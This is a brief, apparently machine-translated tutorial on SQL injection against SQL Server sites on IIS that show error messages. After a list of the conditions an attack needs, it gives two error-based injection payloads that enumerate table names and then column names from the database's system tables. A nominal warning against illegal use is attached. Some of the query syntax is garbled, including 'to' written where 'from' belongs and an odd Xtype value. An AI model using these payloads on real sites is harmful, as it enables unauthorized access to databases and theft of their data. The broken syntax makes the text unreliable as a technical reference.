SQL Server injection Kill technology

Server|sqlserver success:
1. Find the injection point
2. Data library for SQL Server
3.IIS No shielding error hint

Note: The Killing skills are my study of n long experience, many times improved, the success rate is extremely high. Please do not use for illegal purposes, otherwise it will be negative.

[N] = Nth table
Id=1 and (select top 1 name from (select top [N] id,name to sysobjects where Xtype=char) T ORDER BY id DESC) >1

[T] = table name
[N] = nth field
Id=1 and (Select top 1 col_name (object_id ("[T]"), [N]) from sysobjects) >1